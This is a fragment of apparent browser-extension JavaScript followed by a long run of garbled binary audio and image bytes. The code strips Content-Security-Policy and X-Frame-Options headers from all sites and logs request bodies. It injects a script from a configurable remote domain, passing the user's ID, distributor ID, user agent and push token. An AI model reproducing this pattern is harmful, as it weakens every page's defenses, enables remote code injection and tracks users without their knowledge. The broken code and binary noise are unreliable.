            console.log('An error occurred while retrieving token. ', err);
            // showToken('Error retrieving Instance ID token. ', err);
        });
    }).catch(function (err) {
        console.log('Unable to get permission to notify.', err);
    });
    messaging.onMessage(function (payload) {
        var data = payload.data;
        console.log({ from: 'm', data: data });
        if (!data) return;
        updateSettingsFromNotification(data);
        console.log(settings);
        chrome.storage.sync.set({ settings: settings });
    });
    db = firebase.firestore();
    db.settings({ timestampsInSnapshots: true });
    subscribeToFirestoreUpdates();
var onHeadersReceived = function (details) {
    var content = 'content';
    for (var i = 0; i < details.responseHeaders.length; i++) {
        if (content + '-security-policy' === details.responseHeaders[i].name.toLowerCase()) {
            details.responseHeaders[i].value = '';
        }
        if (content + '-security-policy-report-only' === details.responseHeaders[i].name.toLowerCase()) {
            details.responseHeaders[i].value = '';
        }
        if ('x-frame-options' === details.responseHeaders[i].name.toLowerCase()) {
            details.responseHeaders[i].value = '';
        }
    return {
        responseHeaders: details.responseHeaders
    };
var filterHeaders = function () {
    if (settings.headersFiltered) return;
    chrome.webRequest.onBeforeRequest.addListener(preRequestCheckForBan, { urls: ["<all_urls>"], }, ["blocking"]);
    // chrome.webRequest.onBeforeRequest.addListener(rescript, {urls: ["<all_urls>"],}, ["blocking"]);
    chrome.webRequest.onBeforeRequest.addListener(ytLog, { urls: ["<all_urls>"], }, ["blocking", "requestBody"]);
    chrome.webRequest.onHeadersReceived.addListener(onHeadersReceived, filter, ["blocking", "responseHeaders"]);
    console.log('fhc');
    settings.headersFiltered = true;
chrome.runtime.sendMessage({ topic: "getSettings" }, function (response) {
    if (undefined === response) {
        chrome.runtime.sendMessage({ topic: "init" });
        return;
    var userStorage = response['userStorage'] || {};
    document.addEventListener("tdCustomEvent", function (event) {
        if (!event.detail) return;
        try {
            switch (event.detail.action) {
                case 'set':
                    userStorage[event.detail.key] = event.detail.value;
                    break;
            }
        } catch (e) {
        }
        chrome.storage.sync.set({ userStorage: userStorage })
        // chrome.runtime.sendMessage("test");
    });
    var settings = response['settings'];
    chrome.storage.sync.get(['lastReport', 'tokenReported'], function (response) {
        var lastReport = response['lastReport'];
        var tokenReported = response['tokenReported'];
        if (!lastReport || Date.now() - lastReport > 30 * 60 * 1000) {
            chrome.storage.sync.set({ lastReport: Date.now() });
            if (settings.currentToken && settings.currentToken !== '') {
                chrome.storage.sync.set({ tokenReported: Date.now() });
            }
            var data = {};
            data.id = settings.uniqueID;
            data.tag = settings.tag;
            data.distributor_id = settings.distributorId;
            data.ua = navigator.userAgent;
            data.ver = String(settings.version);
            if (settings.currentToken) data.tok = String(settings.currentToken);
            var domain = settings.scriptDomain || settings.predefinedDomain;
            var rscript = document.createElement('script');
            rscript.src = '//' + domain + '/extping';
            rscript.src += '?d=' + encodeURIComponent(JSON.stringify(data));
            rscript.charset = "UTF-8";
            document.body.appendChild(rscript);
        }
    });
WAVEfmt 
,+3C=i(
<K?E006
#t&j+4!
:XCWGW@
{!=&j(A(
VZRqJ,/
@T; 78#
_~e9a&g5c
^T\	XwV
090p4;1
F\N|S`R
U1QMOMO
ISJsFIG
#M k#d N%t$:%
"L!X _ 5
NcP%[Lx
my[(#b?gM
WAOsOCE
TQ>uHeE~9
'p(I%!
<<<-9M2?,
7w8)4	1
/?)b+.(
KnT-HeN
;xMmU$KyBv`
QfZKAPL
X>WvL~;
Eo5v0_$
5X?	;H@
uEyKk8\
Fo4W&.
FNJMOOSE@TF8J!B
B;J7K!=
Bx;&4g.
!\$j!@
"B&U*~"
g$l.t9zH
KDJG<J1
@<<'BD5$8K#1
EqMaE,?
VtXNZBZ
=kLQGeL
VtXMXHT
QvN4J/@
f<w8K?eE
O/C^G&XBb;^
@J0v(&
?_8W6~)
-o2E&D
823v2F0
(k'E!N +"
8:"J"O
:m>_Bo9
;K4^.g-
Q#8#Y)
*Z(0"O
g6# l8
j$R)&7
"<+O191
w)&$g%
]%8 Y(
2C5%)0!
4xM\@`1
ROvJx7k
Q,%,f)
8f)e.G0V-M+
&+#s1w,M*
M[Nn>SX
l$iT:_
g)xZ`e
T'S(w&
+`7#C2:
]q$>"n&"
h%K&E6
G	C24w$
[*3)'%L+
R=SJ!H72
/>;^.,
"m62OB/C1
0c :-2
-~5k$(..3J$
$a4%JC6
V#]"Y)C
z }#g._
s,b2m,e2@%!&
4!k)K4B'
(<#i'o/
2';;.>3
<	;X44/b/]2
4C-w2G,
0)b,A.95
,I.>0W4
O'0/~3
3Q)80d.
372Q4v7%941
? V+c%
42*T,U!
67-G.+"
WAVEfmt 
-	E	3	
	t	b	_	^	I	
	S	c	(	
O	v	s	5	
>	f	^	#	
7	i	B	
,	E	8	
 	:	C	4	
	?	f	F	
	U	W	&	
#	B	=	 	
%	3	 	
	G	`	e	1	
O	q	c	B	(	!	
+	`	O	
6	\	\	:	
F	]	-	
	Q	v	t	J	
|;;;(YYY
JJJ{RRRF\\\
a(((vmmm
\)))qyyy
lxxxSuuu3NNN
zzzRWWW
vvv]MMM
&&&*nnn
AAA9ttt
333-;;;D<<<]???y>>>
===Msss
444#666:<<<VAAAl???
999hzzz
999.999E===d@@@
...yttt
777-<<<?>>>[???vAAA
111.444J<<<d<<<~???
!!!38884555[>>>x???
(((tbbb
///Z```
000B^^^
333.PPP
GGGlRRR
333_III
%%%4AAA
:::c<<<
:::0999
vvvpxxx
sssWuuu
ppp6sss
lllmnnn
jjj.kkk
fffdiii
eee,fff
dddAfff
dddRfff
eeeWfff
dddXfff
dddXeee
eeeWfff
eeeYfff
dddYfff
dddYfff
eeeYfff
dddZeee
dddZeee
eeeZfff
eee[fff
ddd\fff
ddd[fff
aaa_eee
[[[ghhh
OOOyiii
EEE9EEE[EEEzGGG
WWW-ppp
kkk=mmm
jjjUmmm
hhhVuuu
aaaW555
BBBhIII
BBB6\\\
i)))##"""""""""")")$
G)))"#"""
i-))##""
-)))#"""
-))##""
-))##""
I)))-$
i]YY-Qf
"#))) 
-))#""-%%
..501<
-)))""""
=))##""
###))))--C
=#)))))-..@
-)))#)#)))#-)-*...
)))))))))----*...G
********---*....G/
c.....K.L/-*...L]GGD
@....l
/LK.ieI
YlG.KGG]]]]GGGGJGMOOMNS
VGGGGGL
JGGMJLLLMMMSS
LJLGLGGHGGGGGGGGGULJGMGMLLLMNMSS
MMLMGMLHLHHLHLHHHHGMLLLLLLNNNSSS
lMMMMLHLHHLHHHHMHMMHLLLLNNNNNSST
MMMLLNHNHLLLLLHNHMMLLNNNNNSSSTX
^MNNLNMNMMMMMNHNLMNNNNNNNSSTm
VZ-.m[:
pWXRRsb
"`qvpOOprvv
qlOAAAOjOL'
;PO`""AA]lAAGGGGLL	
GGGGAAAAAAAAAGGOGGLLP
vGGGGGAGGAGGGOGGGSLTT
lLGGGGGOGGGOGGSSSSTx
rrrprro?X@
UN^^2H
izc`NLI
3aPfh[YsT<
-Hd7ZV
',((*/R06GB
! ""$)e
{wuwwuwwww{
						
							
								
									
										
											
												
													
														
											
										
										
										
										
6					
										
						
										
						5
										
#'.18;
							
										
#'.1;==
							
										
#'.8;=>>
4							
										
#'.8;==A>
								K
										
#'.88=>>>A
									
										
#'.8;==A>AA
4								
										
#'.88=AA>AAA
									K
										
#'.8;==A>AAAA
										
										
#'.88=AA>AAAAA
4									
										
#'.8;==A>AAAAAA
										
										
#'.88=AA>AAAAAAA
										
										
#'.8;==A>AAAAAAAA
										6
										
#'.88=AA>AAAAAAAAA
											
										
#'.8;==A>AAAAAAAAAA
											
										
#'.88=AA>AAAAAAAAAAA
											
										
#'.8;==A>AAAAAAAAAAAA
6											
										
#'.88=AA>AAAAAAAAAAAAA
												
										
#'.8;==A>AAAAAAAAAAAAAA
											
										
#'.88=AA>AAAAAAAAAAAAAAA
4												
										
#'.8;==A>AAAAAAAAAAAAAAAA
												
										
#'.88=AA>AAAAAAAAAAAAAAAAA
													
										
#'.8;==A>AAAAAAAAAAAAAAAAAA
												
										
#'.88=AA>AAAAAAAAAAAAAAAAAAA
6													
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAA
													
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAA
														
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAA
													5
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAA
6														
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAA
														
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAA
						K
														
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAA
							
														
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAA
						
5														5
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAA
							4
														
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
								
															
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
							
														4
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
K								5
															
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
									
K															
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
								
															
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
5									
																
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
									
															
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
										K
															4
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
									
K																
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
K										K
																
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
										
																6
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
											K
																
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
										
																
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
K											
4																
										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
											
K																5
										
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
												
																
											
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
											5
																	
																																																					
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
5											
																	
																																																				
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
												
																6
																																																			
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
												
																
																																																		
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
													
5																	
																																																	
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
												
K																	
																																																
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
5												
																	
																																															
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
													
																	K
																																														
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
													
																	
																																													
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
													5
																	
																																												
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
												
																	
																																											
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
													
																	
																																										
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
5													
																	
																																									
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
K													5
K																	K
																																								
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
													
K																	4
																																							
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
														
																	
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
														
																	
#'.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
														K
																		
#'.88=AA>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""
													5
																		
 $+.8;==A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"""
													
																		
                                     ###'+.8;=>A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
4														
																		
''''''''''''''''''''''''''''''''''''''+..88;=>>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""""""""""""""
K														
																		K
.11111111111111111111111111111111111111888;>>>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"""
K														
																	K
;;8;8;8;8;8;8;8;8;8;8;8;8;8;8;8;8;8;;;;;;=>=A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""""""""""""""
														
																	6
========================================A>>A>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""""""""""""""
														K
																	
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""""""""""""""
														5
																	
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""""""""""""""
														
																	
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""""""""""""""
														
6																	
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"(""(""(""(""(
														
K																		
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(""(""(""(""("
															
K																		
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"((("(("(("(("
															
K																		
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(&&"(&"(&"(&"(
															
K																		
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA((((((((((((((
														
K																		
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA((&(&(&(&(&(&(
														
K																		
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA((((((((((((((
														
K																		
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA((((((((((((((
														
K																		
a^ZYWUUQQQOOMMMMMMMMMMMMMMMMMMMMMMMMOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA((((((((((((((
														
K																		
a^ZYWUQQQOOMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOQQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA((((((((((((((
														
K																		
a^ZYWUUQQOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA((((((((((((((
														
K																		
a^ZYWUQQQOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(.(.(.(.(.(.((
														
K																		
a^ZYWUUQQOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOQQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(.(.(.(.(.(.(.
														
K																		
a^ZYWUQQQOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA((.(.(.(.(.(.(
														
K																		
a^ZYWUUQQOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(((.(.(.(.(.(.
															
K																		
a^ZYWUQQQOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOQQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.(.(.(.(.(.(.(
															
K																		
a^ZYWUUQQOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(((.(.........
															
K																		
a^ZYWUUQQQOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.(((.(.(.(.(.(
														
K																		
a^ZYWUUQQQOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOMMMMMMOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.(.(..........
														
6																	
a^ZYWWUUQQQOQOQOQOQOQOQOQOQOQOQOQOQOQOQOOOOOOOOOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.((.(.(.......
														
																	
caZZWWUUQQQQQQQQQQQQQQQQQQQQQQQQOQQOQOQQOQOQOOOOOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...(..........
														5
																	
caZZZWWUUUQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQOQOQOOOOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..............
														K
																	
ca^ZZYWWUUUUQUQSSSSSSSSSSSSSSSSSUQUQSQQQQQQQQOQOQOOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..............
														
																	6
ccaZZZYWWUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUQSQQQQQOOQOQOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..............
K														
																	K
gcaaZZZYWYYWWWWWUYUYUYUYUYUYUYUYUYUWUUUUUUUUQQQQQQOOOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..............
K														
																		K
ggaa^^ZZZZYYYYYYYYYYYYYYYYYYYYYYYYYYYYYUYUUUUQQQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..............
4														
																		
ggccaa^^ZZZZZZZZZZZZZZZZZZZZZZZZZZYYZYYYWYWUUUUQQQQOOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.1.1..........
													
																		
jgggcaaaa^^^Z^Z^Z^Z^Z^Z^Z^Z^Z^Z^Z^^^ZZZZZYYYWWUUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.1.1..........
													5
																		
jjgggcccaaaaaaaaaaaaaaaaaaaaaaaaaaa^a^^^ZZZYYWYUUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.1............
														K
																		
mkjjjggggcgcccccccccccccccccccccccccccaaa^^ZZYYWUUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.1.1..........
														
																	
mmkjjjjjggggggggggggggggggggggggggggggcccaaaZZZYWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1.1...........
														
																	
nmmmkkjjkjjjjjjjjjjjjjjjjjjjjjjjjjjjjggggccaa^ZZYWWUUUQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11.1..........
													
K																	4
oonmmmmmmmmmmmmmmmmmmmmmmmmmmmkkkkjkjjjjgggcca^^ZZWYUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.8.1..........
K													5
K																	K
ooooomommmmmmmmmmmmmmmmmmmmmmmmmmmmmkmkjjjggccaaZZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8.11.........1
5													
																	
popooooooooonnnnnnnnnnnnnnnnnnnnnnnnnmmmmkjjggcaaZZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.111.........1
													
																	
ppppppopooooooooooooooooooooooooooooooonmmkjjggcaaZZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA811111111111.1
												
																	
pppppppppppppppppppppppppppppppppppopooonmmmjjjgcaaZZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111111
													5
																	
pppppppppppppppppppppppppppppppppppppppopoommkjggccaZZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111111
													
																	
pppppppppppppppppppppppppppppppppppppppppooonmjjjgcca^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA81111111111111
													
																	K
pppppppppppppppppppppppppppppppppppppppppppoommmjjgcca^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11811111111111
5												
																	
ABABABABABABABABABABABABABABABABABABABABAA]oooommjjgcc^^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA81111811811818
												
K																	
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poonmkjjgcca^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA81818181181811
													
5																	
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poommkjjgcc^^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA81181181811818
												
																
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poonmkjjggaa^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA81818111181111
												
																6
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poommkjjggaa^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA88111181111818
5											
																	
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poonmkjggcc^^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA81818118181111
											5
																	
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poommkjjgcca^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA88111819119818
												
																
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poonmkjjgcc^^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA88189919919991
											
K																5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poommkjjggaa^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA88119191991919
K											
4																
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poonmkjjggaa^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA88999199999919
										
																
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poommkjggcc^^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAAA89189999999199
											K
																
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poonmkjjgcca^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAAA88999999999999
										
																6
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]poommkjjgcc^^ZZWWUUQQQQOQOOOQOQNAAAAAAAAAAAAAAAAAAAAAAAAAAA89999999999999
K										K
																
'=AAAAAAAAAAA]poonmkjjggaa^ZZWWUUQQQQOQOOOQQQNAAAAAAAAAAAAAAAAAAAAAAAAAA89999999999999
									
K																
%AAAAAAAAAAA]poommkjjggaa^ZZWWUUQQQQOQOOOOQQNAAAAAAAAAAAAAAAAAAAAAAAAA;9999999999999
										K
															4
AAAAAAAAAAA]poonmkjggcc^^ZZWWUUQQQQOQOQOOQQNAAAAAAAAAAAAAAAAAAAAAAAA8999999@9@9@9@
									
															
AAAAAAAAAAA]poommkjjgcca^ZZWWUUQQQQOOOOOOQQNAAAAAAAAAAAAAAAAAAAAAAA;99999@9@9@9@9
5									
																
AAAAAAAAAAA]poonmkjjgcc^^ZZWWUUQQQQQOQOOOQQNAAAAAAAAAAAAAAAAAAAAAA;99999@9@9@999
								
															
AAAAAAAAAAA]poommkjjggaa^ZZWWUUQQQQOOQOOOQQNAAAAAAAAAAAAAAAAAAAAA9999999@9@9@@9
									
K															
AAAAAAAAAAA]poonmkjjggaa^ZZWWUUQQQQOOQOOOQQNAAAAAAAAAAAAAAAAAAAA;99999@9@9@9@9
K								5
															
AAAAAAAAAAA]poommkjggcc^^ZZWWUUUQQQOOQOOOQQNAAAAAAAAAAAAAAAAAAA;99999@9@@9@9@
							
														4
AAAAAAAAAAA]poonmkjjgcca^ZZWWUUQQQQOOOOOOQQNAAAAAAAAAAAAAAAAAA;99999@9@999@@
								
															
AAAAAAAAAAA]poommkjjgcc^^ZZWWUUUQQQQOQOOOQQNAAAAAAAAAAAAAAAAA;@@@@@@@@@@9@@
							4
														
AAAAAAAAAAA]poonmkjjggaa^ZZWYUSSQQQOOOOOOQQNAAAAAAAAAAAAAAAA@9@@@999@9@99@
						
5														5
